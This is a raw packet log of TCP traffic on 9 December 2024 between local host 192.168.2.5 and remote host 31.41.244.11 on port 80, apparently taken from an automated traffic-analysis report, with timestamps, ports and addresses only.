Dec 9, 2024 15:30:14.564338923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.564393997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.565850019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.565866947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.565911055 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.567270994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.567327023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.567377090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.567421913 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.568813086 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.568830967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.568862915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.568880081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.570416927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.570436954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.570472002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.570483923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.571794987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.571813107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.571825981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.571846962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.571862936 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.573308945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.573328018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.573364973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.573391914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.574819088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.574839115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.574877977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.574893951 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.576364994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.576385021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.576427937 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.577797890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.577822924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.577855110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.577876091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.579309940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.579343081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.579355955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.579377890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.579391956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.580873966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.580888033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.580933094 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.582283974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.582298994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.582345963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.583832979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.583848000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.583889961 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.585308075 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.585325956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.585336924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.585365057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.585396051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.586817980 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.586837053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.586877108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.588269949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.588285923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.588332891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.589817047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.589834929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.589878082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.591361046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.591382027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.591428041 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.592767000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.592787027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.592798948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.592823982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.592875004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.594264030 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.594276905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.594326973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.595753908 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.595768929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.595824003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.597254038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.597266912 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.597326994 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.598735094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.598767996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.598779917 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.598822117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.598843098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.600538969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.600555897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.600616932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.601821899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.601836920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.601872921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.601902008 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.603250027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.603265047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.603332043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.604876041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.604890108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.604943037 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.606302977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.606316090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.606336117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.606372118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.608148098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.608161926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.608186007 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.608206034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.609339952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.609357119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.609396935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.610728979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.610743046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.610799074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.612257004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.612274885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.612287045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.612308025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.612355947 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.613795042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.613812923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.613845110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.613873959 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.615232944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.615246058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.615305901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.734112024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.734188080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.734704018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.734723091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.734770060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.734785080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.735754013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.735797882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.736686945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.736824036 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.737339973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.737356901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.737404108 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.738696098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.738768101 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.740174055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.740248919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.742264032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.742283106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.742346048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.743915081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.743937969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.743949890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.743985891 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.744009018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.745323896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.745342016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.745400906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.746795893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.746846914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.746905088 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.748336077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.748352051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.748418093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.749411106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.749439001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.749478102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.749522924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.750685930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.750709057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.750724077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.750745058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.750770092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.752055883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.752074003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.752120018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.752146006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.753592968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.753948927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.755116940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.755134106 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.755170107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.755187988 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.756608963 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.756627083 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.756638050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.756685019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.756715059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.758064032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.758079052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.758138895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.759705067 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.759722948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.759764910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.759789944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.761217117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.761235952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.761296034 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.762659073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.762676001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.762734890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.764178991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.764204979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.764216900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.764236927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.764267921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.765584946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.765609026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.765656948 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.765727997 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.767215967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.767234087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.767297029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.768887043 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.768904924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.768939972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.768965006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.770468950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.770487070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.770535946 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.771940947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.771958113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.771967888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.771998882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.772020102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.773328066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.773365974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.773415089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.775147915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.775163889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.775214911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.776433945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.776448965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.776479006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.776511908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.777627945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.777643919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.777658939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.777688980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.777718067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.779072046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.779093981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.779139042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.780620098 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.780637026 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.780673981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.780703068 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.782084942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.782105923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.782160044 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.783819914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.783842087 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.783881903 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.783905029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.785320044 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.785341024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.785356045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.785389900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.785420895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.786600113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.786617041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.786672115 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.788089037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.788113117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.788153887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.788182974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.789612055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.789630890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.789686918 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.791058064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.791100025 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.791161060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.792740107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.792763948 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.792817116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.794075012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.794090986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.794102907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.794128895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.794157028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.795588017 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.795604944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.795670033 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.797039032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.797091007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.797157049 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.798666954 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.798701048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.798729897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.798763990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.800122976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.800143957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.800158024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.800201893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.800226927 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.801631927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.801647902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.801707029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.803067923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.803082943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.803133011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.803154945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.804685116 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.804706097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.804763079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.806353092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.806406975 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.806473017 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.808103085 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.808125973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.808188915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.925796986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.926249981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.926336050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.926676035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.926734924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.927020073 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.927072048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.927650928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.927692890 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.928368092 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.928388119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.928433895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.929759979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.929785013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.929815054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.929853916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.931087971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.931112051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.931162119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.932486057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.932509899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.932564974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.933849096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.933873892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.933903933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.933952093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.935344934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.935369968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.935420990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.936677933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.936763048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:14.937134027 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:14.937158108 CET	80	49866	31.41.244.11	192.168.2.5
